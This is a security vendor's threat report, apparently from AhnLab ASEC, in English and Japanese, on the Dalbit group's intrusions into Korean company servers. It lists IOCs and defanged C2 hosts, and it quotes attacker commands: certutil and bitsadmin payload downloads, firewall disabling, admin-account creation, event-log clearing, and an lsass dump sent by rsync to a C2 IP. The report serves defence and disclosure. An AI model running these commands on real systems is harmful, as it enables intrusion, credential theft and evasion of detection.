%ALLUSERSPROFILE%\BadPotatoNet4.vmp.exe %ALLUSERSPROFILE%\SweetPotato.exe %ALLUSERSPROFILE%\SweetPotato.vmp.exe %ALLUSERSPROFILE%\jc.vmp.exe %SystemDrive%\nia\juicypotato.vmp1.exe %SystemDrive%\nia\juicypotato.vmp.exe … – Proxy tools E:\WEB\*****\data\frpc.vmp.exe %ALLUSERSPROFILE%\lcx.exe %ALLUSERSPROFILE%\lcx_VP.exe %SystemDrive%\Temp\lcx.exe %SystemDrive%\Temp\lcx_VP.exe %SystemDrive%\Temp\svchost.exe (FRP) %SystemDrive%\Temp\frpc.vmp.exe … Table 23. File packed with VMP 2) Windows Event Log Deletion Using Wevtutil Removal of security event logs > cmd.exe /c wevtutil cl security Removal of application logs > cmd.exe wevtutil.exe el > cmd.exe wevtutil.exe cl “application” Table 24. Deletion of Windows event logs 3) Firewall OFF sp.exe “netsh advfirewall set allprofiles state off” Table 25. Firewall OFF 4. Conclusion The Dalbit hacking group attempted attacks against vulnerable Korean company servers, and logs are being reported not only from mid-sized and smaller businesses, but also from some large companies. In particular, 30% of the affected companies were found to have been using a certain Korean groupware product. Moreover, this group uses publicly available tools, from the WebShell used in the early stages to the ransomware used at the end. Among these tools, there is a proxy tool that is assumed to have been obtained from a Chinese community, a tool with Chinese documentation, and a Chinese tool not mentioned in this post. It can be assumed that the threat actor has at least a partial connection with China, considering their frequent usage of Chinese tools. If a server admin suspects that their system has been infected, they are advised to check their IOC along with the aforementioned download paths and account name (“main”) often used by the threat actor. If suspicions are confirmed, then it is advised to immediately report your situation to AhnLab in order to minimize additional harm. Furthermore, admins should prevent vulnerability attacks by updating their servers to the newest version for vulnerability patches, and maintenance is especially needed for servers that are open externally but not managed. 5. IOC For reference, the IP addresses of Korean company servers abused by the threat actor will not be disclosed on the ASEC blog. Mitre Attack Execution Persistence Privilege Escalation Credential Access Discovery Defense Evasion Lateral Movement Collection Exfiltration Command and Control Impact Resource Development – Command and Scripting Interpreter(T1059) – Windows Management Instrumentation(T1047) – System Service(T1569) – Scheduled Task/Job(T1053) – Create Account(T1136) – Server Software Component(T1505) – Account Manipulation(T1098) – Access Token Manipulation(T1134) – Exploitation for Privilege Escalation(T1068) – OS Credential Dumping (T1003) – Remote System Discovery(T1018) – Network Service Discovery(T1046) – Impair Defenses(T1562) – Indicator Removal(T1070) – Remote Services(T1021) – Lateral Tool Transfer(T1570) – Data from Local System(T1005) – Account Discovery: Email Account(1087.003) – Email Collection(T1114) – Screen Capture(T1113) – Exfiltration Over Web Service(T1567) – Proxy(T1090) – Ingress Tool Transfer(T1105) – Data Encrypted for Impact(T1486) – Stage Capabilities: Upload Malware(T1608.001) Table 26. MITRE Attack Detection Names WebShell/Script.Generic (2020.12.11.09) WebShell/ASP.ASpy.S1361 (2021.02.02.03) WebShell/ASP.Generic.S1855 (2022.06.22.03) WebShell/ASP.Small.S1378 (2021.02.24.02) WebShell/JSP.Godzilla.S1719(2021.12.03.00) WebShell/JSP.Chopper.SC183868(2022.10.15.01) WebShell/JSP.Generic.S1363 (2021.01.27.03) Backdoor/Script.Backdoor (2015.01.04.00) WebShell/JSP.Generic.S1956 (2022.11.14.00) Trojan/Script.Frpc (2022.12.17.00) JS/Webshell (2011.08.08.03) HackTool/Win.Fscan.C5334550(2023.01.27.00) HackTool/Win.Fscan.C5230904(2022.10.08.00) HackTool/Win.Fscan.R5229026(2022.10.07.03) Trojan/JS.Agent(2022.03.16.02) Unwanted/Win32.TCPScan.R33304(2012.08.17.00) HackTool/Win.Scanner.C5220929(2022.08.09.02) HackTool/Win.SweetPotato.R506105 (2022.08.04.01) Exploit/Win.BadPotato.R508814 (2022.08.04.01) HackTool/Win.JuicyPotato.R509932 (2022.08.09.03) HackTool/Win.JuicyPotato.C2716248 (2022.08.09.00) Exploit/Win.JuicyPotato.C425839(2022.08.04.01) Exploit/Win.SweetPotato.C4093454 (2022.08.04.01) Trojan/Win.Escalation.R524707(2022.10.04.02) Trojan/Win.Generic.R457163(2021.12.09.01) HackTool/Win64.Cve-2019-1458.R345589(2020.07.22.06) Malware/Win64.Generic.C3164061 (2019.04.20.01) Malware/Win64.Generic.C3628819 (2019.12.11.01) Exploit/Win.Agent.C4448815 (2021.05.03.03) Trojan/Win.Generic.C4963786 (2022.02.11.04) Trojan/Win.Exploit.C4997833 (2022.03.08.01) Exploit/Win.Agent.C5224192 (2022.08.17.00) Exploit/Win.Agent.C5224193 (2022.08.17.00) Trojan/Win32.RL_Mimikatz.R290617(2019.09.09.01) Trojan/Win32.Mimikatz.R262842(2019.04.06.00) Trojan/Win.Swrort.R450012(2021.11.14.01) HackTool/Win.Lsassdump.R524859(2022.10.05.00) HackTool/Win.ProxyVenom.C5280699(2022.10.15.01) Unwanted/Win.Frpc.C5222534 (2022.08.13.01) Unwanted/Win.Frpc.C5218508 (2022.08.03.03) Unwanted/Win.Frpc.C5218510 (2022.08.03.03) Unwanted/Win.Frpc.C5218513 (2022.08.03.03) HackTool/Win.Frpc.5222544 (2022.08.13.01) HackTool/Win.Frp.C4959080 (2022.02.08.02) HackTool/Win.Frp.C5224195 (2022.08.17.00) Unwanted/Win.Frpc.C5162558 (2022.07.26.03) Malware/Win.Generic.C5173495 (2022.06.18.00) HackTool/Win.LCX.C5192157 (2022.07.04.02) HackTool/Win.LCX.R432995(2023.01.06.01) HackTool/Win.Rsocx.C5280341(2022.10.15.00) Backdoor/Win.BlueShell.C5272202(2022.10.05.00) Trojan/Win.BlueShell.C5280704(2022.10.15.01) Backdoor/Win.CobaltStrike.R360995(2022.09.20.00) Unwanted/Win.Extractor.C5266516(2022.10.01.00) Trojan/Win.RemCom.R237878(2023.01.07.00) [IOC] MD5 (Excluding normal files) – WebShell 0359a857a22c8e93bc43caea07d07e23 85a6e4448f4e5be1aa135861a2c35d35 4fc81fd5ac488b677a4c0ce5c272ffe3 c0452b18695644134a1e38af0e974172 6b4c7ea91d5696369dd0a848586f0b28 96b23ff19a945fad77dd4dd6d166faaa 88bef25e4958d0a198a2cc0d921e4384 c908340bf152b96dc0f270eb6d39437f 2c3de1cefe5cd2a5315a9c9970277bd7 e5b626c4b172065005d04205b026e446 27ec6fb6739c4886b3c9e21b6b9041b6 612585fa3ada349a02bc97d4c60de784 21c7b2e6e0fb603c5fdd33781ac84b8f c44457653b2c69933e04734fe31ff699 e31b7d841b1865e11eab056e70416f1a 69c7d9025fa3841c4cd69db1353179cf fca13226da57b33f95bf3faad1004ee0 af002abd289296572d8afadfca809294 e981219f6ba673e977c5c1771f86b189 f978d05f1ebeb5df334f395d58a7e108 e3af60f483774014c43a7617c44d05e7 c802dd3d8732d9834c5a558e9d39ed37 07191f554ed5d9025bc85ee1bf51f975 61a687b0bea0ef97224c7bd2df118b87 …(omitted) – Privilege Escalation 9fe61c9538f2df492dff1aab0f90579f ab9091f25a5ad44bef898588764f1990 87e5c9f3127f29465ae04b9160756c62 ab9091f25a5ad44bef898588764f1990 4bafbdca775375283a90f47952e182d9 0311ee1452a19b97e626d24751375652 acacf51ceef8943f0ee40fc181b6f1fa 3cbea05bf7a1affb821e379b1966d89c 10f4a1df9c3f1388f9c74eb4cdf24e7c b5bdf2de230722e1fe63d88d8f628ebc edb685194f2fcd6a92f6e909dee7a237 e9bd5ed33a573bd5d9c4e071567808e5 fbae6c3769ed4ae4eccaff76af7e7dfe 937435bbcbc3670430bb762c56c7b329 fd0f73dd80d15626602c08b90529d9fd 29274ca90e6dcf5ae4762739fcbadf01 784becfb944dec42cccf75c8cf2b97e3 7307c6900952d4ef385231179c0a05e4 bcfca13c801608a82a0924f787a19e1d 75fe1b6536e94aaee132c8d022e14f85 d6cb8b66f7a9f3b26b4a98acb2f9d0c5 323a36c23e61c6b37f28abfd5b7e5dfe 7b40aa57e1c61ecd6db2a1c18e08b0af 3665d512be2e9d31fc931912d5c6900e – Network Scan 1aca4310315d79e70168f15930cc3308 5e0845a9f08c1cfc7966824758b6953a 9b0e4652a0317e6e4da66f29a74b5ad7 d8d36f17b50c8a37c2201fbb0672200a b998a39b31ad9b409d68dcb74ac6d97d d5054ed83e63f911be46b3ff8af82267 e7b7bf4c2ed49575bedabdce2385c8d5 f01a9a2d1e31332ed36c1a4d2839f412 d4d8c9be9a4a6499d254e845c6835f5f – FRP 4eb5eb52061cc8cf06e28e7eb20cd055 0cc22fd05a3e771b09b584db0a161363 8de8dfcb99621b21bf66a3ef2fcd8138 df8f2dc27cbbd10d944210b19f97dafd 2866f3c8dfd5698e7c58d166a5857e1e cbee2fd458ff686a4cd2dde42306bba1 3dc8b64b498220612a43d36049f055ab 31c4a3f16baa5e0437fdd4603987b812 b33a27bfbe7677df4a465dfa9795ff4a 7d9c233b8c9e3f0ea290d2b84593c842 c4f18576fd1177ba1ef54e884cb7a79d 5d33609af27ea092f80aff1af6ddf98d 622f060fce624bdca9a427c3edec1663 1f2432ec77b750aa3e3f72c866584dc3 d331602d190c0963ec83e46f5a5cd54a 21d268341884c4fc62b5af7a3b433d90 – FRP_INI 6a20945ae9f7c9e1a28015e40758bb4f a29f39713ce6a92e642d14374e7203f0 7ce988f1b593e96206a1ef57eb1bec8a fc9abba1f212db8eeac7734056b81a6e 9f55b31c66a01953c17eea6ace66f636 33129e959221bf9d5211710747fddabe 48b99c2f0441f5a4794afb4f89610e48 28e026b9550e4eb37435013425abfa38 2ceabffe2d40714e5535212d46d78119 c72750485db39d0c04469cd6b100a595 68403cc3a6fcbeb9e5e9f7263d04c02f 52ff6e3e942ac8ee012dcde89e7a1116 d82481e9bc50d9d9aeb9d56072bf3cfe 22381941763862631070e043d4dd0dc2 6b5bccf615bf634b0e55a86a9c24c902 942d949a28b2921fb980e2d659e6ef75 059d98dcb83be037cd9829d31c096dab cca50cdd843aa824e5eef5f05e74f4a5 f6f0d44aa5e3d83bb1ac777c9cea7060 0ca345bc074fa2ef7a2797b875b6cd4d f6da8dc4e1226aa2d0dabc32acd06915 0bbfaea19c8d1444ae282ff5911a527b – LCX a69d3580921ec8adce64c9b38ac3653a c4e39c1fc0e1b165319fa533a9795c44 fb6bf74c6c1f2482e914816d6e97ce09 678dbe60e15d913fb363c8722bde313d – Proxies etc. e0f4afe374d75608d604fbf108eac64f f5271a6d909091527ed9f30eafa0ded6 ae8acf66bfe3a44148964048b826d005 – Lateral Movement 6983f7001de10f4d19fc2d794c3eb534 fcb7f7dab6d401a17bd436fc12a84623 – Information Collection and Credential Theft bb8bdb3e8c92e97e2f63626bc3b254c4 80f421c5fd5b28fc05b485de4f7896a1 a03b57cc0103316e974bbb0f159f78f6 46f366e3ee36c05ab5a7a319319f7c72 7bd775395b821e158a6961c573e6fd43 b434df66d0dd15c2f5e5b2975f2cfbe2 c17cfe533f8ce24f0e41bd7e14a35e5e – Backdoor 011cedd9932207ee5539895e2a1ed60a bc744a4bf1c158dba37276bf7db50d85 23c0500a69b71d5942585bb87559fe83 53271b2ab6c327a68e78a7c0bf9f4044 c87ac56d434195c527d3358e12e2b2e0 C2 and URL (Abused Korean company servers are not listed) – Download C2 91.217.139[.]117 – Upload C2 205.185.122[.]95 91.217.139[.]117 – FRP & LCX C2 hxxp://sk1.m00nlight[.]top:80 (45.136.186.19) //MOACK_Co_LTD company server hxxps://fk.m00nlight[.]top:443 (45.136.186.175:443) //MOACK_Co_LTD company server hxxps://aa.zxcss[.]com:443 (45.93.31.122) //MOACK_Co_LTD company server 45.93.31[.]75:7777 //MOACK_Co_LTD company server 45.93.28[.]103:8080 //MOACK_Co_LTD company server 103.118.42[.]208 101.43.121[.]50 – Backdoor C2 45.93.31[.]75 //MOACK_Co_LTD company server Subscribe to AhnLab’s next-generation threat intelligence platform ‘AhnLab TIP’ to check related IOC and detailed analysis information.

ASEC Dalbit、m00nlight: 中国ハッカーグループの APT 攻撃キャンペーン 2023-02-13

원문 보기

0. 概要 この内容は2022年8月31日に掲載した「韓国国内の企業をターゲットにした FRP(Fast Reverse Proxy)を使用する攻撃グループ」ブログの延長線上に位置し、このグループの行動を追跡した内容になっている。 https://asec.ahnlab.com/jp/38120/ このグループは以前から今まで、オープンソースツールを主に使用しており、PDB などの情報がないため、プロファイリングの明確な特報が不足している状態であった。また、C2(Command&Control)サーバーの韓国国内企業サーバーを悪用し、被害を受けた企業が調査を別途で要請しないと収集できる情報が限定的である。しかし、ブログが公開されて攻撃者が使用していた韓国国内のサーバーが一部遮断されると、攻撃者は「*.m00nlight.top」という名前のホストサーバーを C2 およびダウンロードサーバーに使用し始めた。そのため、ASEC ではこのグループを「Moonlight」の韓国語訳を変形させて Dalbit、m00nlight.top と命名する。 このグループは2022年から今までに韓国企業の50か所以上に攻撃を試みていたことが確認されている。現在までに攻撃された企業は主に中小企業ではあるが、大企業も一部含まれており、特に感染企業の30%が韓国国内の特定グループウェアソリューションを使用していることが確認された。現在このグループウェア製品の脆弱性の有無を明確に知ることは難しいが、このように外部に露出したサーバーが脆弱性の場合、社内の機密流出とランサムウェアの振る舞いまでが流れで行われ、企業に致命的な影響を与えることができる。また、この Dalbit グループは、感染した企業の一部をプロキシ(Proxy)およびダウンロード(Download)サーバーとして、他の企業に侵入する際に攻撃者によって使用されていた。 そのため、今回の Dalbit グループの攻撃の疑いがある場合、社内のセキュリティメンテナンスを行う必要があると見られ、潜在的な2次被害と他の企業の被害を予防する先制的な対応ができるよう AhnLab に状況を提供してほしい。 1. 韓国国内の被害を受けた企業(商業分類) 2022年から現在までに確認された被害企業は50社あり、その内訳は以下の通りである。明確に確認されていない企業はリストから除外してあり、被害を受けた企業は記載されている以外にもあると推定される。 [図1] Dalbit グループが攻撃を試みた企業の産業 各分類についての説明は以下の通りである。 Technology : ソフトウェアやハードウェアを扱う企業 Industrial : 機械や塗料、鉄鋼や金属を扱う製造業 Chemical : 化粧品、製薬、プラスチックなどの企業 Construction : 建設業者や建設に関連した協会や団体 Automobile : 自動車関連の製造業 Semiconductor : 半導体関連の製造業 Education : 教育関連の企業 Wholesale: 卸売業 Media : 印刷およびメディア企業 Food : 飲食企業 Shipping : 貨物企業 Hospitality : レジャー企業や観光宿泊業 Energy : エネルギー企業 Shipbuilding : 造船業 Consulting : 経営コンサルタント企業 2. フローと特徴 2.1. 要約図 [図2] Dalbit グループの侵入要約図 上記の図は攻撃者が B 企業(Company B)を侵害したプロセスである。このフローを簡単に紹介すると以下の通りになる。 1) Inital Access 攻撃者は Web サーバーや SQL サーバーを対象に脆弱性を利用してシステムに接続し、Web シェルのようなツールで制御を試みる。 2) Command & Control Web シェルを通してハッキングツールをダウンロードする。ハッキングツールは権限昇格ツールとプロキシツール、ネットワークスキャンツールなど様々なバイナリを含んでいる。 3) Proxy & Internal Reconnaissance Proxy :  攻撃者は FRP(Fast Reverse Proxy)のようなプロキシツールをインストールして、2 -1) 攻撃者が構築したホストサーバー や、 2-2) すでに感染した他の企業(Company A)のサーバー を通してリモートデスクトップ(RDP)で接続を試みる。 Internal Reconnaissance : ネットワークスキャンツールとアカウント窃取ツールなどを通して、内部偵察と情報の習得を行う。 4) Lateral Movement 獲得した情報を通して接続できる他のサーバーもしくは PC に移動する。その後ラテラルムーブメントに成功した PC にもプロキシツール(FRP)をインストールして、攻撃者が RDP で接続できる環境を構成する。特定のアカウントを追加したり、Mimikatz のような資格証明窃取ツールを通して権限を獲得する。 5) Impact 最終的に攻撃者の希望する情報をすべて窃取すると、BitLocker を利用して特定のドライブをロックして金銭を要求する。 [表1] 侵入要約図の説明 以下は Dalbit グループの主要な特徴である。 2.2. Dalbit の特徴 リスト 説明 攻撃者の C2 サーバー ダウンロードおよび C2(Command&Control)サーバー : 韓国国内の企業サーバーおよびホストサーバー サーバーのうち半数以上が韓国国内企業のサーバーを悪用 ホストサーバーは主に *.m00nlight.top または IP 形態のアドレスを使用 RDP 制御の試み 感染後、主に RDP への接続を試みる RDP 接続のためにプロキシツールまたは Gotohttp を使用 プロキシツール 主要プロキシツールは FRP と LCX(Htran) それ以外に NPS と ReGeorg などを使用 ユーザーアカウントの追加 net コマンドを通してアカウントを追加 アカウント情報( ID : 「main」 / PW : 「ff0.123456」) オープンソースツール 大半は誰でも簡単に手に入れられるオープンソースツールを使用 特に中国語のツールが多い 回避 ハッキングツール、検知回避時、VMProtect 製品を使用 Security イベントログの削除 窃取情報 ユーザーアカウント情報 電子メール情報 画面流出 インストールされたプログラム情報 [表2] Dalbit の特徴 3. 使用したツールおよび侵入プロセス 3.1. 使用ツールおよびマルウェア Web シェル ダウンローダー 権限昇格 プロキシ 内部偵察 Godzilla ASPXSpy AntSword China Chopper Certutil (Windows CMD) Bitsadmin (Windows CMD) BadPotato JuicyPotato SweetPotato RottenPotato EFSPotatoCVE-2018-8639 CVE-2019-1458 FRP LCX NPS ReGeorg FScan NbtScan TCPScan Goon Nltest (Windows CMD) ラテラルムーブメント 情報収集および流出 バックドア ファイルの暗号化 回避 RDP PsExec RemCom Winexec Wevtutil (Windows CMD) WMI (Windows CMD) ProcDump Dumpert EML Extractor(製作) MimikatzRsync CobaltStrike MetaSploit BlueShell Ladon BitLocker (Windows CMD) Security ログの削除 (Windows CMD) ファイアウォール OFF (Windows CMD) AV 製品削除の試み VMProtect Packing [表3] Dalbit が使用したマルウェアおよびハッキングツール 攻撃者が直接製作したツールは、メールを流出するツール1件のみであると見られ、残りは Windows の正常なプログラムを使用したり、検索すると簡単に手に入れられるツールを使用していた。 3.2. 侵入プロセス 3.2.1. 初期侵入 攻撃対象は主に特定のグループウェアがインストールされているサーバーや、脆弱な Web サーバー、メールサーバー(Exchange Server)、そして SQL サーバーであると推定される。攻撃者は CVE-2017-10271 のような WebLogic 脆弱性やファイルアップロード脆弱性を悪用して WebShell をアップロードし、一部は SQL Server のコマンドプロンプト(xp_cmdshell)を利用したとみられる。 攻撃者が主に使用していた Web シェルは Godzilla、ASPXSpy、AntSword、China Chopper の順で、Godzilla を最も多く使用しており、一部他の Web シェルが確認された。 インストールされた Web シェルのパスは以下の通りであった。 – 人事採用(ファイルアップロード脆弱性) D:\WEB\********recruit\css\1.ashx D:\WEB\********recruit\css\4.ashx D:\WEB\********recruit\common\conf.aspx .. .– ファイルアップロード脆弱性 D:\UploadData\***********\****_File\Data\Award\1.ashx D:\UploadData\***********\****_File\Data\Award\2.aspx D:\UploadData\***********\****_File\Data\Award\3.aspx D:\**Web サービス\********\*****Editor\sample\photo_uploader\File\conf.aspx D:\**Web サービス\********_論文投稿\Include\file.aspx .. . – 特定のグループウェア D:\Web\(グループウェア)\cop\1.ashx D:\Web\(グループウェア)\app\4.ashx D:\Web\(グループウェア)\bbs\4.asmx D:\Web\(グループウェア)\erp\tunnel.aspx (ReGeorg) D:\inetpub\(グループウェア)\image\2.asmx D:\inetpub\(グループウェア)\image\2.aspx C:\(グループウェア)\Web\(グループウェア)\cop\conf.aspx C:\(グループウェア)\Web\(グループウェア)\cop\1.ashx C:\(グループウェア)\Web\(グループウェア)\cop\1.asmx C:\(グループウェア)\Web\(グループウェア)\cop\1.aspx … – メールサーバー ( Exchange Server ) D:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\aa.aspx D:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\11.aspx C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files\root\91080f08\2694eff0\app_web_defaultwsdlhelpgenerator.aspx.cdcab7d2.sjx_41yb.dll C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files\root\91080f08\2694eff0\app_web_ldaj2kwn.dll … – Weblogic D:\***\wls1035\domains\************\servers\*******\tmp\************\uddiexplorer\gcx62x\war\modifyregistryhelp.jsp D:\***\wls1035\domains\************\servers\*******\tmp\************\wls-wsat\zfa3iv\war\eee.jsp D:\***\wls1035\domains\************\servers\*******\tmp\************\wls-wsat\zfa3iv\war\error.jsp D:\Oracle\**********\user_projects\domains\*************\servers\WLS_FORMS\tmp\************\wls-wsat\tcsxmg\war\123.jsp D:\Oracle\**********\user_projects\domains\*************\servers\WLS_FORMS\tmp\************\wls-wsat\tcsxmg\war\test.jsp     D:\Oracle\**********\user_projects\domains\*************\servers\WLS_FORMS\tmp\************\wls-wsat\tcsxmg\war\aaa.jsp … – Tomcat C:\(Tomcat)\webapps\dd\sb.jsp C:\(Tomcat)\webapps\ddd\index.jsp C:\(Tomcat)\webapps\docs\update.jsp C:\(Tomcat)\webapps\tmp\shell.jsp [表4] Web シェルがアップロードされたパス 3.2.2. ダウンロード 攻撃者は基本的にインストールされた Windows の正常なプログラムを通して他のハッキングツールをダウンロードする。普通は侵入時に Web シェルを使用するため、cmd のようなコマンドプロセスを除外すると、親プロセスは w3wp.exe、java.exe、sqlserver.exe、tomcat*.exe のような Web サーバープロキシによって実行される。ダウンロードされるファイルは権限昇格ツールとプロキシツール、そしてネットワークスキャンツールなどの攻撃者が必要としているファイルをダウンロードする。ダウンロードコマンドは以下の通りである。 (悪用された韓国国内企業サーバーの場合、アドレス全体は公開していない) 1) Certutil > certutil -urlcache -split -f hxxp://www.ive***.co[.]kr/uploadfile/ufaceimage/1/update.zip c:\programdata\update.exe (frpc) > certutil -urlcache -split -f hxxp://121.167.***[.]***/temp/8.txt c:\programdata\8.ini (frpc.ini) > certutil  -urlcache -split -f hxxp://103.118.42[.]208:8080/frpc.exe frpc.exe … [表5] Certutil ダウンロードログ 2) Bitsadmin > bitsadmin  /transfer mydownloadjob /download /priority normal “ hxxp://91.217.139[.]117:8080/calc32.exe ” “c:\windows\debug\winh32.exe” (frpc) > bitsadmin  /transfer mydownloadjob /download /priority normal “ hxxp://91.217.139[.]117:8001/log.ini ” “c:\windows\debug\log.ini” (frpc.ini) … [表6] Bitsadmin ダウンロードログ 攻撃者がダウンロードするハッキングツールおよびマルウェアは、主に以下のパスで確認された。 %ALLUSERSPROFILE% %SystemDrive%\temp %SystemDrive%\perflogs %SystemDrive%\nia %SystemDrive%\.tmp %SystemRoot% %SystemRoot%\debug %SystemRoot%\temp [表7] Dalbit グループが使用したメインディレクトリ よって侵入が疑われる場合、このパスのファイルを点検する必要がある。 3.2.3. 権限昇格およびアカウントの追加 攻撃者は権限昇格のために Potato(BadPotato、JuicyPotato、SweetPotato、RottenPotato、EFSPotato)と GitHub に公開された POC (CVE-2018-8639、CVE-2019-1458)を主に使用する。権限昇格後は以下のようなアカウントを追加することが特徴である。 以下の sp.exe は SweetPotato ツールである。 > sp.exe “whaomi” (権限確認) > sp.exe “netsh advfirewall set allprofiles state off” (ファイアウォール OFF) > sp.exe “net user main ff0.123456 /add & net localgroup administrators main /add” (アカウント追加) [表8] SweetPotato 使用ログ 特に注目すべき部分は攻撃者が追加したアカウントの名前である。他の侵入企業でも「main」という攻撃者のアカウントが確認されている。 攻撃者はアカウントを追加する方法以外に窃取した管理者アカウントを使用したりもする。 > wmic  /node:127.0.0.1 /user:storadmin /password:r*****1234!@#$  process call create “cmd.exe /c c:\temp\s.bat” [表9] 管理者アカウント実行ログ 3.2.4. プロキシの設定 攻撃者はサーバーに侵入後、RDP 通信を使用するため、プロキシを使用して接続する。プロキシツールは主に FRP と LCX が使用されており、一部の企業では ReGeorg や NPS または RSOCKS なども確認された。また特定の侵入企業には FRP と LCX などの様々なプロキシツールが一か所に確認されており、内部の伝播まで続く場合、多数の FRP 設定ファイル(.ini)が発見された。これは接続できる PC のうちに餌食となる物が多い場合、攻撃者が FRP を追加でインストールして多数の設定ファイルを使用したとみられる。また、このグループが使用する LCX はオープンソースと機能は同じだが、GitHub に公開されたバージョンではなく、中国人がコンパイルしたバイナリが使用されていた。 このような FRP と LCX などのプロキシツールにはフォワード方式やサポートするプロトコルに差が存在する。しかし、TI レポート「 様々な遠隔操作ツールを悪用する攻撃事例の分析レポート(日本語なし) 」でその差についての説明、実際の感染事例、そして再現とネットワークパケットまですべてを扱っているため、このブログではこれらを取り扱わない。 1) FRP(FAST REVERSE PROXY) このグループに侵入された場合、サーバーと PC デバイスすべてに FRP 設定ファイル(.ini)が確認できる。以下は実際に侵入された企業の事例である。 [図3] 侵入された企業で確認された FRPC 設定ファイル(m00nlight.top) 特に Dalbit グループは主に Socks5 プロトコルを利用して通信していた。Socks5 プロトコルは OSI 7階層のうち5階層プロトコルであり、4階層と7階層の間にあり、HTTP、FTP、RDP などの様々なリクエストを処理することができる。それによって、攻撃者は攻撃サーバーに Socks5 を扱うことのできる Proxifier のようなプロキシ接続ツールを利用すると RDP を通して遠隔操作が可能になり、内部 PC に接続できる場合はラテラルムーブメント(Lateral Movement)を実行することもできる。すなわち、設定ファイルを Socks5 プロトコルにすると、これ以上修正することなく様々なリクエストを処理でき、自由性が増す。 [図4] Socks5 を使用した例 以下は攻撃者が使用した FRP ファイル名とコマンドである。以下は最も多く使用された順に整理してある。 FRP ファイル名 update.exe debug.exe main.exe info.exe Agent.exe frpc.exe test.exe zabbix.exe winh32.exe cmd.exe [表10] FRP ファイル名 FRP コマンド > update.exe -c frpc.ini > update.exe -c 8080.ini > update.exe -c 8.ini > info.zip -c frpc__8083.ini > debug.exe -c debug.ini > debug.exe -c debug.log > debug.exe -c debug.txt > frpc.exe -c frpc__2381.ini > cmd.exe /c c:\temp\****\temp\frpc.ini … [表11] FRP 実行ログ また特定の企業では FRP を「debug」という名前でタスクスケジューラ(schtasks)に登録し、維持されている。以下のように登録されたスケジューラが実行されることが確認された。 > schtasks  /tn debug /run [表12] タスクスケジューラで実行されるログ 2) LCX(HTRAN) Dalbit は特定の中国人がコンパイルした LCX(Htran)バイナリを使用していた。これは 従来のバイナリ と機能は同じであるが、バイナリ製作者のニックネームが明示されている。 [図5] Dalbit グループが使用した LCX の実行時(By 折羽鸿鹄) このバイナリを製作した人のニックネームが「折羽鸿鹄」(QQ:56345566)であることが分かる。この製作者が攻撃者である可能性は非常に低いが、このバイナリは単純に検索してダウンロードできる物ではないため、攻撃者は中国と関連のあるものと推定される。 インストールされたファイル名および実行は以下の通りになる。 LCX ファイル名 lcx3.exe lcx.exe update.exe [表13] LCX ファイル名 LCX コマンド > update.exe -slave 1.246.***.*** 110 127.0.0.1 3389 > lcx3.exe -slave 222.239.***.*** 53 127.0.0.1 3389 … [表14] LCX コマンドログ 上記の LCX C2 は韓国国内企業サーバーであるため、一部隠して表示してある。 3.2.5. 内部偵察 ネットワークスキャンでは主に Fscan と NBTScan ツールが使用され、一部の事例では TCP Scan および Goon が確認された。 Goon は Golang として作られたネットワークスキャンツールで、基本的なポートスキャンだけでなく、Tomcat、MSSQL、MYSQL のアカウントなどもスキャンできるツールである。このツールもまた中国語で作られたことが確認された。 [図6] Goon を実行した際の画面 3.2.6. 情報の窃取 主な窃取情報は LSASS Dump 情報、特定アカウントの EML ファイルであり、企業によって WMIC コマンドでインストールされたプログラムを確認したり、特定の被害者 PC からは一定時間ごとに攻撃者サーバーに画面の画像を送信することが確認された。 1) 資格証明情報の抽出(LSASS DUMP) 攻撃者はターゲットに応じて Mimikatz をインストールせずに資格証明情報の抽出を試みていた。これは Lsass.exe プロセスをダンプする方法であり、このダンプファイル内部にはクレデンシャル情報が含まれているため、Mimikatz や Pypykatz のようなツールがこの PC の資格証明情報を得ることができる。参考に Mimikatz についての詳しい内容は TI レポート「 Mimikatz を利用した内部イントラネットの伝播技法の分析(日本語なし) 」で確認できる。 攻撃者が Mimikatz なしに実行した資格証明情報を窃取する方法は以下の通りである。 1-1) Dumpert オープンソース Dumpert は API フックの回避および OS バージョンに合わせて実行するツールで MiniDumpWriteDump() API を使用して lsass.exe プロセスをダンプする。 攻撃者はコードを修正し、ダンプファイルのパス変更およびログ出力機能などを除外している。 [図7] 左(Dumpert オープンソース) vs 右(Dalbit グループが使用した Dumper) 上記の図を見ると、右の場合はパスおよび出力される文字列が除去されており、それ以外は同じであることが分かる。 現在までに確認されたダンプファイルのパスはすべて「%SystemRoot%\temp」であり、以下の通りになる。 %SystemRoot%\temp\duhgghmpert.dmp %SystemRoot%\temp\dumpert.dmp %SystemRoot%\temp\tarko.dmp %SystemRoot%\temp\lsa.txt … [表15] Lsass ダンプファイルのパス 1-2 ) Procdump Procdump ツールは Microsoft が提供する正常なユーティリティプログラムであり、プロセスのダンプ機能をサポートしている。攻撃者はこのツールを通して、以下のようにダンプを行っていた。 [図8] Procdump を実行した際の出力 この攻撃者は Rsync(Remote Sync)というツールを通してダンプファイルを攻撃者のサーバーに送信していた。以下は攻撃者が情報流出を試みた実際の事例である。 > svchost.exe -accepteula -ma lsass.exe web_log.dmp > rsync  -avz –port 443 web_log.zip test@205.185.122[.]95::share/web_log.zip [表16] Procdump の実行および rsync を使用したログ 2) メールの抽出 [図9] メールの抽出ツール実行時 このサンプルは Golang で作られたメール抽出ツールで、現在のところ唯一攻撃者が作ったツールであると推定される。これは企業の Exchange メールサーバーを対象に EWS(Exchange Web Service)を通して特定のアカウントのメールを EML ファイルで抽出する機能を持っている。引数として Exchange サーバーアドレスと、アカウント名、このアカウントの NTLM パスワードのハッシュ、日付および時間などが存在する。実行すると、そのアカウントのすべてのメールボックスから引数として受信時間を基準にすべてのメールを抽出し、EML ファイルで保存する。 このバイナリの PDB 情報は「fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff」であり意味がない。 [図10] メールの抽出ツールの PDF 情報 3) 画面の流出 攻撃者は特定 PC の画面を攻撃者のサーバーに送信していた。現在、画面をキャプチャするバイナリが確認されていないが、感染した PC の画面を送信する攻撃者サーバーが確認された。5~10秒間隔で特定の企業の侵入 PC の画面が送信されていた。 攻撃者の画面送信サーバー : hxxp://91.217.139[.]117:8080/1.bat [図11] 実際に送信された特定企業の被害 PC 画面 これは完全な画像のみが送信され、遠隔で操作することができず、オーディオなどが出力されない。 